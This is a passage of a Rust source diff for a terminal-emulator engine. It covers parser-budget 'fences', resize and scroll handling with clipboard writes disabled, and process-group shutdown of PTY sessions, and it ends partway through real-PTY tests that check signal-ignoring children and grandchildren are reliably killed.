/// they inherit.
pub fn max_drain_work(columns: usize, lines: usize, scrollback: usize) -> u64 {
// One atom, not one slice: [`crate::reader::Feeder::drain`] sizes every
// slice against the *remaining* budget, so it cannot start a slice able
// to hold more work than is left. What it cannot do is preempt a callback
// that has begun, which is where this term comes from.
WORK_BUDGET.saturating_add(max_atom_work(columns, lines, scrollback))
}
/// Max bytes that may sit unparsed before the reader must stop reading the
/// PTY. Bounds the *queue*; [`WORK_BUDGET`] bounds only the lock hold.
pub const TAIL_CAP: usize = 4 << 20;
/// Depth at which a paused reader may resume. Strictly below [`TAIL_CAP`] so
/// the reader does not flap between full and one-byte-below-full.
pub const TAIL_RESUME: usize = 1 << 20;
/// Which fences are active. Both on in production.
///
/// The mutation law requires exercising each fence with the other **disabled**,
/// because F1's abort releases the sync buffer in small pieces and thereby
/// masks a miscounting F2. This is deliberately a runtime value and not a cargo
/// feature: a fence that can be compiled out is one more way for a gate to pass
/// green over code that never ran.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Fences {
/// F1: abort a synchronized update at [`SYNC_CAP`].
pub sync_abort: bool,
/// F2: rebuild the parser at [`OSC_BUDGET`].
pub osc_budget: bool,
}
impl Default for Fences {
fn default() -> Self {
Self {
sync_abort: true,
osc_budget: true,
}
}
}
impl Fences {
/// Production configuration: both fences enforced.
pub const ALL: Self = Self {
sync_abort: true,
osc_budget: true,
};
/// F2 alone — the arm that can observe F2's counting, unmasked by F1.
pub const OSC_ONLY: Self = Self {
sync_abort: false,
osc_budget: true,
};
/// F1 alone.
pub const SYNC_ONLY: Self = Self {
sync_abort: true,
osc_budget: false,
};
/// Neither — the unfenced control that shows what upstream does alone.
pub const NONE: Self = Self {
sync_abort: false,
osc_budget: false,
};
}
/// Per-run fence observations. Every field is what some gate asserts on.
///
/// `charged_bytes` is deliberately separate from `osc_resets`: a deleted F2
/// shows up as `osc_resets == 0`, but an F2 that counts the *wrong* bytes
/// (omitting flush routes, or charging raw input) still resets — only the
/// charge total distinguishes those. One counter cannot see both mutations.
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
pub struct FenceStats {
/// F1 aborts performed.
pub sync_aborts: u64,
/// Largest number of bytes released to the parser by a single flush,
/// whether via an F1 abort or a legitimate end-of-update. This is the
/// quantity that bounds one lock hold.
pub max_release: usize,
/// F2 parser rebuilds performed.
pub osc_resets: u64,
/// Parser-visible bytes charged against the F2 budget, cumulative across
/// resets. Includes every flush route, not just directly-advanced input.
pub charged_bytes: u64,
/// Parser units completed: one per `Handler` callback dispatched, which is
/// one per fully-parsed escape sequence or printed character.
///
/// Separate from `charged_bytes` because they answer different questions
/// and can disagree by orders of magnitude: four bytes of `ESC#8` rewrite
/// the whole grid, four bytes of `ESC[m` set a flag. Bytes bound memory;
/// units are the proxy for time. See [`crate::units`].
pub completed_units: u64,
/// Cost-weighted work completed, in cell-equivalents: an O(cells) callback
/// charges `columns * lines`, an O(1) callback charges 1.
///
/// Deliberately a second number rather than a replacement for
/// `completed_units`. They answer different questions -- "how many things
/// happened" versus "how much did they cost" -- and a stream of `ESC#8`
/// makes them disagree by four orders of magnitude, which is the entire
/// reason this fence exists.
pub completed_work: u64,
/// Deepest the unparsed tail has been, in bytes. The high-water mark
/// rather than the current depth, because the current depth is zero again
/// by the time a test looks at it.
pub max_pending: usize,
/// Times the tail was at or over [`TAIL_CAP`] at the end of a drain.
///
/// Loud on purpose. Reaching the cap means the reader kept reading past
/// the point it was told to stop, so the queue bound is being held by
/// nothing; a silent cap would make that indistinguishable from a reader
/// that is obeying.
pub tail_breaches: u64,
/// Bytes discarded unparsed by [`crate::reader::Feeder::abandon_tail`].
/// Non-zero anywhere but session close is a bug that ate output.
pub abandoned_bytes: u64,
}
impl FenceStats {
/// Clear all counters. Diagnostics are per-run; a gate that reads a
/// counter accumulated across runs is asserting on the wrong thing.
pub fn reset(&mut self) {
*self = Self::default();
}
}
@@ -0,0 +1,290 @@
//! Terminal engine for the Buzz substrate.
//!
//! Owns the emulator: grid state, the parser, the two hardening fences, and
//! the damage encoding the renderer consumes. It does **not** own the PTY, the
//! child process, or the transport — those are the embedder's, so this crate
//! stays testable against byte fixtures with no process and no window.
pub mod context;
pub mod damage;
pub mod env_fence;
pub mod fences;
pub mod lifecycle;
pub mod listener;
pub mod path;
pub mod reader;
pub mod shared;
pub mod shell;
pub mod units;
#[cfg(test)]
mod context_tests;
// `--all-targets` compiles `#[cfg(test)]` modules, so a Windows `cargo check`
// builds these two -- and they drive real PTYs, `libc::kill`, and unix
// permission bits, which do not exist there. Gating the *modules* rather than
// their contents keeps the unix-only shape honest: the code under test is
// itself `#[cfg(unix)]`, so a Windows build has nothing to assert against.
// `context_tests` is pure string logic and stays portable.
#[cfg(all(test, unix))]
mod env_fence_tests;
#[cfg(all(test, unix))]
mod lifecycle_tests;
use alacritty_terminal::grid::Dimensions;
use alacritty_terminal::term::{Config, Osc52, Term};
use alacritty_terminal::vte::ansi::CursorStyle;
pub use fences::{FenceStats, Fences};
pub use listener::{Action, Listener};
pub use shared::{AcquireMeter, AcquireStats, SharedTerminal};
/// Which grid a frame or a resize refers to.
///
/// Generation and dimensions travel together as one value because they answer
/// one question -- "is this the grid I am currently showing?" -- and a consumer
/// that compares them field by field can compare two of the three and be wrong
/// on a resize that changes only the one it skipped.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Viewport {
/// Advances on every *applied* resize. A same-size resize is inert and
/// does not advance it, so an unchanged `ResizeObserver` tick cannot look
/// like a discontinuity.
pub generation: u64,
pub columns: usize,
pub screen_lines: usize,
}
/// Terminal dimensions in cells, plus how much scrollback to retain.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Size {
pub columns: usize,
pub screen_lines: usize,
pub scrollback: usize,
}
impl Default for Size {
fn default() -> Self {
Self {
columns: 80,
screen_lines: 24,
scrollback: 10_000,
}
}
}
impl Dimensions for Size {
fn total_lines(&self) -> usize {
self.screen_lines + self.scrollback
}
fn screen_lines(&self) -> usize {
self.screen_lines
}
fn columns(&self) -> usize {
self.columns
}
}
/// Build the emulator config.
///
/// Written as an explicit literal rather than `..Default::default()` so that
/// every security-relevant field is stated here and an upstream default change
/// cannot alter our posture silently. In particular `osc52` defaults to
/// `OnlyCopy` upstream, which would let terminal output write the user's
/// clipboard; we disable it outright.
pub fn config(size: Size) -> Config {
Config {
scrolling_history: size.scrollback,
default_cursor_style: CursorStyle::default(),
vi_mode_cursor_style: None,
semantic_escape_chars: String::from(",│`|:\"' ()[]{}<>\t"),
kitty_keyboard: false,
osc52: Osc52::Disabled,
}
}
/// A terminal: emulator state plus the fenced parser that drives it.
pub struct Terminal {
term: Term<Listener>,
feeder: reader::Feeder,
size: Size,
generation: u64,
}
impl Terminal {
pub fn new(size: Size, fences: Fences) -> (Self, std::sync::mpsc::Receiver<Action>) {
let (listener, actions) = Listener::new();
let term = Term::new(config(size), &size, listener);
(
Self {
term,
feeder: reader::Feeder::new(
fences,
size.columns,
size.screen_lines,
size.scrollback,
),
size,
generation: 0,
},
actions,
)
}
/// Feed PTY output through the fences into the emulator.
///
/// Parses what one work budget affords and returns with the rest held as
/// a pending tail, so one call cannot hold the terminal for an unbounded
/// time. **The caller must pump [`Terminal::drain`] until it returns
/// false**, releasing the lock between calls; that is the whole point --
/// the tail exists to give the renderer a chance at the lock, not to defer
/// work indefinitely. [`Terminal::pending_bytes`] and
/// [`Terminal::tail_full`] tell the reader when to stop reading the PTY.
pub fn feed(&mut self, bytes: &[u8]) -> bool {
self.feeder.feed(&mut self.term, bytes)
}
/// Parse more of the pending tail. Returns whether any remains.
pub fn drain(&mut self) -> bool {
self.feeder.drain(&mut self.term);
self.feeder.pending_bytes() > 0
}
/// Feed and parse to completion, without the intervening lock releases.
///
/// For tests and for callers with no renderer contending -- it reinstates
/// exactly the unbounded hold [`Terminal::feed`] exists to prevent, so it
/// is deliberately a separate name rather than a flag on `feed`.
pub fn feed_fully(&mut self, bytes: &[u8]) {
self.feed(bytes);
while self.drain() {}
}
/// Bytes accepted but not yet parsed.
pub fn pending_bytes(&self) -> usize {
self.feeder.pending_bytes()
}
/// Whether the tail is at its cap and the reader must stop reading.
/// See [`reader::Feeder::tail_full`] for why production deliberately has
/// no consumer yet.
///
/// There is no production consumer today, deliberately: the desktop
/// runtime pumps `drain()` to completion after every read, so the tail is
/// empty between iterations. A future reader that defers pumping must
/// consult this signal before accepting more PTY bytes.
pub fn tail_full(&self) -> bool {
self.feeder.tail_full()
}
/// Whether a paused reader may resume.
pub fn tail_drained(&self) -> bool {
self.feeder.tail_drained()
}
/// Discard the unparsed tail. Session close only -- see
/// [`reader::Feeder::abandon_tail`].
pub fn abandon_tail(&mut self) -> usize {
self.feeder.abandon_tail()
}
pub fn stats(&self) -> FenceStats {
self.feeder.stats()
}
pub fn reset_stats(&mut self) {
self.feeder.reset_stats();
}
pub fn size(&self) -> Size {
self.size
}
/// The grid as it stands now. Stamped onto each [`damage::Frame`] so a
/// consumer can tell that a frame describes a *different* grid than the one
/// it last drew, without having to infer it from message ordering.
pub fn viewport(&self) -> Viewport {
Viewport {
generation: self.generation,
columns: self.size.columns,
screen_lines: self.size.screen_lines,
}
}
/// Apply a new viewport.
///
/// Takes one target size, never a stream of them: resize is superlinear in
/// scrollback (2.5-4.7 ms per single column change at 10k history, and 40
/// sequential 1-column steps cost 7.4x their coalesced equivalent), and it
/// runs while holding the terminal. Coalescing is the caller's job; this
/// function's job is to make the result observable.
///
/// A resize forces a full damage frame -- upstream's `TermDamageState`
/// sets `full` in its own `resize` (`term/mod.rs:240`) -- which is what
/// keeps the encoder's per-line hashes from suppressing reflowed content.
/// The generation bump is belt-and-braces on top of that: it lets the
/// consumer *verify* it received the discontinuity rather than assume it.
///
/// Returns the viewport that is now in effect, which is not necessarily the
/// one requested: a same-size call is inert and returns the current
/// generation unchanged. Returning it here rather than making the caller
/// ask afterwards matters across a transport -- a follow-up query races the
/// next resize, so the answer could describe a grid that had already been
/// replaced by the time it was read.
pub fn resize(&mut self, size: Size) -> Viewport {
if size == self.size {
return self.viewport();
}
self.term.resize(size);
self.feeder.resize(size);
self.size = size;
self.generation += 1;
self.viewport()
}
/// Move the viewport through scrollback. **Positive moves *into* history.**
///
/// That is upstream's sign (`Scroll::Delta`), kept rather than flipped: a
/// second convention in the middle of the stack is a bug waiting for the
/// one caller who reads the wrong doc comment. The DOM has the opposite
/// sense, and the embedder converts once, at the command boundary.
///
/// Returns whether the viewport actually moved. Both ends of history clamp
/// silently upstream, and a caller that repaints on every request would
/// repaint for the whole tail of a momentum gesture after it had already
/// hit the top. Every scroll that *does* move is a full repaint, because
/// `Term::scroll_display` marks the grid fully damaged.
pub fn scroll(&mut self, lines: i32) -> bool {
self.scroll_display(alacritty_terminal::grid::Scroll::Delta(lines))
}
/// Return the viewport to the live edge. Returns whether it moved.
///
/// Output alone does not do this: once scrolled back, the grid pins the
/// viewport and lets new lines accumulate above it
/// (`Grid::scroll_up`). Coming back is therefore an explicit act, and the
/// embedder ties it to user input.
pub fn scroll_to_bottom(&mut self) -> bool {
self.scroll_display(alacritty_terminal::grid::Scroll::Bottom)
}
/// How far the viewport sits above the live edge, in lines.
pub fn display_offset(&self) -> usize {
self.term.grid().display_offset()
}
fn scroll_display(&mut self, scroll: alacritty_terminal::grid::Scroll) -> bool {
let before = self.display_offset();
self.term.scroll_display(scroll);
self.display_offset() != before
}
pub fn term(&self) -> &Term<Listener> {
&self.term
}
pub fn term_mut(&mut self) -> &mut Term<Listener> {
&mut self.term
}
}
@@ -0,0 +1,267 @@
//! Child-process lifecycle for spawned PTY sessions.
//!
//! Closing a terminal tab must actually end the work the tab was doing. That
//! is harder than calling `kill`, for two reasons that both come from the
//! child being a *session leader* rather than an ordinary subprocess.
//!
//! **1. The child is not the only process.** `portable-pty` calls `setsid()`
//! in `pre_exec` (`unix.rs:257`), so the shell becomes a session and process
//! group leader; everything it runs — `vim`, a `make -j8` tree, a backgrounded
//! `sleep` — joins that group or a descendant of it. Signalling the shell's
//! pid alone reaches the shell. A shell that exits without forwarding the
//! signal leaves its children running, reparented to init, holding the pty
//! slave open. That is a leak that survives the window closing.
//!
//! So we signal the **process group** (`kill(-pgid)`), not the pid.
//!
//! **2. `portable-pty`'s own `kill` is not sufficient here.** `ChildKiller for
//! std::process::Child` (`lib.rs:340-373`) sends `SIGHUP` to the *pid*, waits
//! up to 4x50 ms, then falls back to `Child::kill` — which is `SIGKILL`, again
//! to the pid. Both halves are pid-scoped, so neither reaches a grandchild.
//! It is a correct API for "end this process"; ours is "end this session".
//!
//! ## The escalation
//!
//! `SIGTERM` to the group, a bounded wait for the leader, then `SIGKILL` to
//! the group **whether or not the leader went quietly** -- see `shutdown` for
//! why a polite leader does not imply an empty group.
//! `SIGTERM` first because a shell asked to terminate cleanly will flush its
//! history and let `vim` write its swap file; going straight to `SIGKILL`
//! guarantees no process ever gets that chance. The bounded wait is what makes
//! the escalation real — without it, `SIGKILL` either races the polite path
//! (making `SIGTERM` decorative) or never fires (making a signal-ignoring
//! child immortal).
//!
//! ## What this deliberately does not do
//!
//! A process that has called `setsid()` for *itself* has left our group, and
//! no group signal reaches it. `nohup`, a daemonising build tool, and
//! `tmux`-style servers all do this on purpose. We do not hunt the process
//! tree to find them: walking children to signal them is a race against a
//! moving tree — a pid read and then signalled may be a *different* process by
//! the time the signal lands, and killing a stranger's pid is a far worse bug
//! than leaking a daemon the user deliberately detached. Detaching from the
//! session is the documented way to survive one's terminal, and honouring it
//! is correct behaviour, not a gap.
use std::io;
use std::time::{Duration, Instant};
use portable_pty::Child;
/// How long the group gets to honour `SIGTERM` before `SIGKILL`.
///
/// Long enough for a shell to run its exit trap and for an editor to write a
/// swap file; short enough that closing a tab never feels stuck. Tab close is
/// not synchronous with this wait in the UI, so this is a cleanup deadline,
/// not a frame budget.
pub const TERM_GRACE: Duration = Duration::from_millis(250);
/// Poll interval while waiting for the child to exit.
///
/// Polling rather than blocking in `wait()`: a blocking wait cannot be given a
/// deadline without a second thread, and the whole point of the grace period
/// is that it expires.
const POLL_INTERVAL: Duration = Duration::from_millis(5);
/// How a session ended.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Shutdown {
/// Already gone before we signalled.
AlreadyExited,
/// Exited within [`TERM_GRACE`] of `SIGTERM`.
Terminated,
/// Ignored or outlived `SIGTERM`; the group was killed.
Killed,
}
/// Ends the session led by `child`: `SIGTERM` to its process group, a bounded
/// wait, then `SIGKILL` to the group if anything is still there.
///
/// Reaps the child before returning, so the caller cannot leave a zombie by
/// dropping the handle. Returns which arm ended it, which is what a test can
/// assert on — "did it die" is satisfied by both arms and so distinguishes
/// nothing.
#[cfg(unix)]
pub fn shutdown(child: &mut Box<dyn Child + Send + Sync>) -> io::Result<Shutdown> {
// Reap first. A child that already exited still has a pid slot until it is
// waited for, and that pid is reusable the moment it is released -- so
// signalling without checking is how a cleanup path eventually signals an
// unrelated process. Check before signalling, every time.
if child.try_wait()?.is_some() {
return Ok(Shutdown::AlreadyExited);
}
let Some(pid) = child.process_id() else {
// No pid means nothing to signal; still ensure it is reaped.
child.wait()?;
return Ok(Shutdown::AlreadyExited);
};
let pid = pid as i32;
signal_group(pid, libc::SIGTERM);
let leader_honoured_term = leader_exited_by(pid, Instant::now() + TERM_GRACE);
// Sweep the group unconditionally, *including* when the leader exited
// politely. The leader's exit is not the session's end: anything it
// backgrounded that ignores SIGTERM is still running, still in the group,
// and still holding the pty. Returning `Terminated` at that point reports
// success over a leak.
//
// Ordering with the reap is a safety requirement, not a preference. A
// process group id *is* the leader's pid, and the kernel may recycle that
// pid once the leader is reaped -- at which point `kill(-pid)` names some
// unrelated group. An exited-but-unreaped leader is a zombie, and a zombie
// is still a group member, so the id cannot be reused while we hold it.
// Signal first, reap second, and the window does not exist.
signal_group(pid, libc::SIGKILL);
// SIGKILL cannot be caught, so this terminates. It is still a `wait`
// rather than an assumption: the pid must be reaped, and the exit status
// is only available to whoever reaps it.
child.wait()?;
Ok(if leader_honoured_term {
Shutdown::Terminated
} else {
Shutdown::Killed
})
}
/// Sends `signal` to `pid`'s process group, falling back to the pid alone.
///
/// The fallback matters: `kill(-pgid)` requires the child to *be* a group
/// leader, which it is only because `portable-pty` called `setsid()`. If that
/// ever stops being true, a pid-scoped signal still ends the shell — degraded
/// (grandchildren survive) rather than a silent no-op.
///
/// Errors are deliberately not propagated. Every failure mode here means the
/// process is already gone (`ESRCH`) or was never ours to signal (`EPERM`),
/// and in both cases the following `wait` is the authority on what happened.
#[cfg(unix)]
fn signal_group(pid: i32, signal: i32) {
// SAFETY: `kill` with a negative pid targets the process group; both
// arguments are plain integers and the call has no memory effects.
let sent = unsafe { libc::kill(-pid, signal) };
if sent != 0 {
// SAFETY: as above.
unsafe { libc::kill(pid, signal) };
}
}
/// Polls until the leader has exited, or `deadline` passes. Returns whether it
/// exited in time.
///
/// Deliberately **not** `Child::try_wait`, which reaps: reaping here would
/// release the process group id before the sweep above can use it. `WNOWAIT`
/// reads the child's exit state and leaves it waitable, so the zombie stays
/// and keeps the group id reserved for us.
///
/// `waitid`, not `waitpid`, and that is a portability requirement rather than
/// taste. POSIX only defines `WNOWAIT` for `waitid`; Linux tolerates it on
/// `waitpid`, and **Darwin returns `EINVAL`**. Measured with a C probe: on
/// macOS 25.5.0, `waitpid(pid, &st, WNOHANG | WNOWAIT)` is `-1/EINVAL` for a
/// child that has plainly exited. That failure is silent in the shape this
/// function had — an error is indistinguishable from "not exited yet", so the
/// grace period could never be honoured and *every* shutdown escalated to
/// `SIGKILL`, reporting `Killed` for a child that died politely on the first
/// `SIGTERM`. The polite arm was dead code on the platform we develop on.
///
/// `waitid` reports a still-running child as success-with-`si_pid == 0`, so
/// the out-parameter must be zeroed before each call and the *pid*, not the
/// return code, is the answer.
#[cfg(unix)]
fn leader_exited_by(pid: i32, deadline: Instant) -> bool {
loop {
// SAFETY: `info` is a valid, fully-initialised out-pointer for the
// duration of the call. `WNOWAIT` leaves the child waitable, so the
// later `wait` still returns its status.
let exited = unsafe {
let mut info: libc::siginfo_t = std::mem::zeroed();
let rc = libc::waitid(
libc::P_PID,
pid as libc::id_t,
&mut info,
libc::WEXITED | libc::WNOHANG | libc::WNOWAIT,
);
rc == 0 && info.si_pid() == pid
};
if exited {
return true;
}
if Instant::now() >= deadline {
return false;
}
std::thread::sleep(POLL_INTERVAL);
}
}
/// Maximum concurrent terminal sessions.
///
/// Each session costs a pty pair (two fds), a reader thread, and a scrollback
/// grid -- at the default 10k lines x 80 cols that is megabytes of resident
/// memory per tab. The cap exists because tab creation is one keystroke and
/// nothing else bounds it: without a limit, a held-down shortcut exhausts the
/// process fd table, and the first thing to fail is not the terminal but
/// whatever *else* in Buzz next asks for a file descriptor -- the relay
/// socket, a database handle. A resource a UI can allocate in a loop needs a
/// ceiling that fails in its own subsystem.
///
/// 20 matches the abandoned `feat/terminal` branch's `MAX_LIVE_SESSIONS`,
/// kept deliberately: it is far above any plausible human tab count and far
/// below the default 256-fd soft limit, so it bounds the runaway case without
/// ever being reachable by hand.
pub const MAX_LIVE_SESSIONS: usize = 20;
/// A reader that is still consuming the PTY master, to be stopped only after
/// the session has been torn down.
///
/// This exists because the correct close order is not the obvious one, and
/// nothing in the type system otherwise prevents the wrong one. Mari's ruling
/// (`62509b91`) is that **the reader outlives child termination and reap**:
///
/// 1. mark the session closing and stop publishing to the UI;
/// 2. `SIGTERM` -> grace -> `SIGKILL` -> reap, *while output is still drained*;
/// 3. only then close the master and join the reader.
///
/// Inverting steps 2 and 3 is the bug this trait is shaped to prevent, and it
/// is not a hypothetical: a child blocked writing into a master nobody reads
/// does not die promptly even on `SIGKILL`, because the kernel completes the
/// tty teardown first. Measured with a `forkpty` probe -- **606 ms** to reap a
/// `SIGKILL`ed child against an undrained master, versus microseconds when
/// drained. Join the reader first and every tab close pays that, on the arm
/// where the user is already waiting.
pub trait DrainingReader {
/// Detach parser work and enter raw-drain mode before child termination.
fn begin_closing(&self);
/// Wake a reader that remains blocked after the child has been reaped.
fn stop(&self);
/// Releases the reader thread. Called only after [`DrainingReader::stop`].
fn join(self: Box<Self>);
}
/// Ends a session in the order the drain law requires, and returns how it
/// ended.
///
/// The ordering is enforced by ownership rather than by documentation: this
/// function takes the reader **by value**, so a caller cannot have joined it
/// beforehand -- a joined reader has been consumed and cannot be passed here.
/// The only way to use this API is the correct order. A comment saying "do not
/// join the reader first" is advice; a moved value is a compile error.
#[cfg(unix)]
pub fn shutdown_draining(
child: &mut Box<dyn Child + Send + Sync>,
reader: Box<dyn DrainingReader>,
) -> io::Result<Shutdown> {
reader.begin_closing();
// Terminate and reap with the reader still running, so the child never
// blocks in a tty write while we are waiting on it.
let outcome = shutdown(child);
// Unconditional: wake and release the reader whether or not shutdown
// reported an error. EOF may already have ended it; stop is idempotent.
reader.stop();
reader.join();
outcome
}
@@ -0,0 +1,581 @@
//! Lifecycle gates: the session dies, the grandchild dies with it, and the
//! login `argv[0]` the child actually receives is the one we computed.
//!
//! Every test here drives a real PTY and a real process tree. A mock child
//! would let us assert that we *called* `kill`, which is the half we already
//! know; the property under test is what the kernel does with a process group
//! we do not fully control.
use crate::env_fence::fence_env;
use crate::lifecycle::{shutdown, shutdown_draining, DrainingReader, Shutdown, TERM_GRACE};
use crate::path::user_shell_path;
use crate::shell::{login_argv0, resolve_shell};
use portable_pty::{native_pty_system, Child, CommandBuilder, PtyPair, PtySize};
use std::sync::atomic::Ordering;
use std::time::{Duration, Instant};
/// Upper bound on any wait in this file.
///
/// Every wait here is bounded, and that is not caution -- it is the lesson
/// from a probe of an interactive child that read to EOF and hung for 300 s.
/// A PTY master does not reach EOF while any process holds the slave open, so
/// "read until the child is done" is not a terminating program. Bound the
/// read, or poll for the observable effect.
const BOUND: Duration = Duration::from_secs(10);
/// Self-destruct deadline, in seconds, for fixture processes built to ignore
/// signals.
///
/// Comfortably longer than [`BOUND`], so it can never end a process while the
/// test is still observing it -- a watchdog that fires inside the observation
/// window would make a *failing* implementation look correct. Short enough
/// that a crashed run does not leave a core spinning until reboot.
const WATCHDOG: u64 = 60;
fn open_pty() -> PtyPair {
native_pty_system()
.openpty(PtySize {
rows: 24,
cols: 80,
pixel_width: 0,
pixel_height: 0,
})
.expect("openpty")
}
/// Drains the PTY master in the background for as long as it stays open.
///
/// Not hygiene -- a correctness requirement, and the cause of a 300 s hang in
/// the first version of this file. A PTY has a small kernel buffer, and a
/// child writing into a master nobody reads blocks in `write()` once it fills.
/// A process blocked in an uninterruptible tty write does not die promptly on
/// `SIGKILL`: the signal is delivered, but the kernel finishes tearing down
/// the tty session first, so `wait()` sits there while the reap completes.
/// Measured directly with a `forkpty` C probe: with the master undrained, a
/// `SIGKILL`ed child took **606 ms** to be reaped. Every terminal in the
/// product drains its master continuously -- that is what a renderer *is* --
/// so a test that doesn't is modelling a configuration that never ships.
///
/// The consequence is worth stating for the embedder: **shutdown must not be
/// called after the reader has stopped.** Tear the session down while output
/// is still being consumed, or the grace period is spent waiting on a
/// self-inflicted stall.
fn drain(pair: &PtyPair) {
let mut reader = pair.master.try_clone_reader().expect("reader");
std::thread::spawn(move || {
use std::io::Read;
let mut buf = [0u8; 4096];
while matches!(reader.read(&mut buf), Ok(n) if n > 0) {}
});
}
/// Spawns `script` under `/bin/sh` on a real PTY, fully fenced.
fn spawn_script(pair: &PtyPair, script: &str) -> Box<dyn Child + Send + Sync> {
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
let mut cmd = CommandBuilder::new("/bin/sh");
fence_env(&mut cmd, &user_shell_path(), &shell);
cmd.arg("-c");
cmd.arg(script);
let child = pair.slave.spawn_command(cmd).expect("spawn");
drain(pair);
child
}
/// True while `pid` exists. `kill(pid, 0)` performs the permission and
/// existence checks without delivering a signal.
fn pid_alive(pid: i32) -> bool {
// SAFETY: signal 0 delivers nothing; both arguments are integers.
unsafe { libc::kill(pid, 0) == 0 }
}
/// Polls `f` until it returns true or `BOUND` elapses; returns whether it did.
///
/// Polling for the observable state rather than sleeping a fixed duration: a
/// sleep long enough to be reliable is slow, and a sleep short enough to be
/// fast is a race that fails on a loaded machine. Both are worse than asking.
fn poll_until(mut f: impl FnMut() -> bool) -> bool {
let deadline = Instant::now() + BOUND;
while Instant::now() < deadline {
if f() {
return true;
}
std::thread::sleep(Duration::from_millis(5));
}
false
}
/// Reads a file until it is non-empty or `BOUND` elapses.
fn read_when_written(path: &std::path::Path) -> Option<String> {
let mut found = None;
poll_until(|| match std::fs::read_to_string(path) {
Ok(text) if !text.trim().is_empty() => {
found = Some(text.trim().to_owned());
true
}
_ => false,
});
found
}
/// A cooperative child exits on `SIGTERM`, so the polite arm is what ends it.
///
/// The distinction matters: `Killed` and `Terminated` both leave a dead
/// process, so asserting death alone would pass with `SIGTERM` deleted
/// entirely and the grace period reduced to a delay before `SIGKILL`.
#[test]
fn cooperative_child_exits_on_term_not_kill() {
let pair = open_pty();
let mut child = spawn_script(&pair, "sleep 30");
let pid = child.process_id().expect("pid") as i32;
let outcome = shutdown(&mut child).expect("shutdown");
assert_eq!(
outcome,
Shutdown::Terminated,
"a child that dies on SIGTERM must not have needed SIGKILL"
);
assert!(poll_until(|| !pid_alive(pid)), "child survived shutdown");
}
/// A child that ignores `SIGTERM` must still die, and the escalation must be
/// what kills it.
///
/// The fixture shape is load-bearing and my first one was vacuous. I wrote
/// `trap '' TERM; sleep 30`, which *looks* like a signal-ignoring child and
/// reported `Terminated` -- the polite arm, on a child built to defeat it.
/// The reason is that `sh` does not ignore a signal on its child's behalf: the
/// group `SIGTERM` reaches `sleep`, which has no trap and dies, and the shell
/// was blocked in `wait` on exactly that `sleep`, so it reaps it and exits
/// normally. The trap was real, the ignoring was real, and the process still
/// died on `SIGTERM` -- through a path the test wasn't looking at.
///
/// Had I not checked *which* arm fired, this would have passed for the wrong
/// reason and gone on "proving" an escalation it never exercised. The loop
/// keeps the shell itself alive: no blocking `wait` to be interrupted, so the
/// trap actually governs the shell's own fate and only `SIGKILL` can end it.
///
/// The readiness handshake closes a second, subtler version of the same
/// mistake. My loop fixture *still* reported `Terminated`, because `trap` is a
/// command the shell has to reach: a signal delivered in the interval between
/// `exec` and that line finds the default disposition and kills the shell
/// outright. Isolated with a `forkpty` probe -- identical binary, only the
/// delay before signalling changed: at 500 ms all four arms survived, at 2 ms
/// all four died with signal 15. A fixture that is only *probably* armed makes
/// this test a race whose failure mode is a false pass.
///
/// This is the arm that fails if the escalation is deleted -- and the
/// `WATCHDOG` is what makes that a *failure* rather than a hang. With
/// `SIGKILL` deleted, nothing we send can end a child that ignores `SIGTERM`,
/// so `shutdown`'s final `wait` blocks forever and the mutant is detected only
/// by the harness timing out. A test that detects a bug by never finishing is
/// indistinguishable from a broken test. The deadline converts it into a
/// bounded, reportable failure.
#[test]
fn signal_ignoring_child_is_killed_after_the_grace_period() {
let dir = tempdir("buzz-terminal-trap");
let ready = dir.join("armed");
let pair = open_pty();
// The readiness file is written *after* the trap is installed, so waiting
// on it converts "probably armed by now" into an observed fact.
let mut child = spawn_script(
&pair,
&format!(
"trap '' TERM; (sleep {WATCHDOG}; kill -9 $$) & : > {}; \
while :; do sleep 0.1; done",
ready.display()
),
);
let pid = child.process_id().expect("pid") as i32;
assert!(
poll_until(|| ready.exists()),
"child never armed its SIGTERM trap; signalling now would test a \
startup race rather than the escalation"
);
let started = Instant::now();
let outcome = shutdown(&mut child).expect("shutdown");
let elapsed = started.elapsed();
assert_eq!(
outcome,
Shutdown::Killed,
"a SIGTERM-ignoring child must be escalated to SIGKILL"
);
assert!(poll_until(|| !pid_alive(pid)), "child survived SIGKILL");
assert!(
elapsed >= TERM_GRACE,
"shutdown returned in {elapsed:?}, before the {TERM_GRACE:?} grace \
period could have elapsed -- SIGTERM was never given its chance"
);
assert!(
elapsed < BOUND,
"shutdown took {elapsed:?}; the grace period is not bounded"
);
}
/// The property the whole module exists for: a **grandchild** must not outlive
/// the session.
///
/// The fixture is deliberately hostile, and the obvious version of this test
/// proves nothing. I first wrote `sleep 30 & echo $!; wait` and mutation L2 --
/// replacing `kill(-pid)` with `kill(pid)` -- **survived it**. The reason is
/// that killing a PTY session leader makes the kernel hang up the terminal and
/// `SIGHUP` the whole foreground group, so the grandchild dies either way.
/// Isolated with a `forkpty` probe: with the master held open (no fd-closure
/// hangup) and only `SIGKILL` to the shell's pid, the grandchild was gone
/// within 200 ms while the shell itself was still unreaped. The tty hangup was
/// doing the work my group signal was being credited for.
///
/// Two properties are therefore required of the grandchild, and each closes
/// one leak in the fixture:
///
/// - it **ignores `SIGHUP`**, so the tty hangup cannot end it for us; and
/// - it **busy-loops rather than sleeping**, so it is not blocked in a call
/// that the session teardown would interrupt anyway.
///
/// With both, the probe separates cleanly: pid-only leaves the grandchild
/// alive, `kill(-pgid)` does not. That is the only shape in which this test
/// can fail for the reason it claims to test.
///
/// The `WATCHDOG` is the price of that hostility. A grandchild built to
/// survive every signal we send also survives the harness: when this test
/// legitimately fails -- as it does under mutation L1 and L2 -- it leaves a
/// process spinning a core at PPID 1, and a panicking or killed test binary
/// cannot clean up after itself. So the child carries its own deadline.
/// `SIGKILL` because that is the one signal the fixture does not trap.
#[test]
fn grandchild_does_not_outlive_the_session() {
let dir = tempdir("buzz-terminal-orphan");
let pidfile = dir.join("grandchild.pid");
let armed = dir.join("armed");
let pair = open_pty();
let mut child = spawn_script(
&pair,
&format!(
"sh -c 'trap \"\" HUP TERM; (sleep {WATCHDOG}; kill -9 $$) & \
: > {armed}; while :; do :; done' & \
echo $! > {pidfile}; wait",
armed = armed.display(),
pidfile = pidfile.display()
),
);
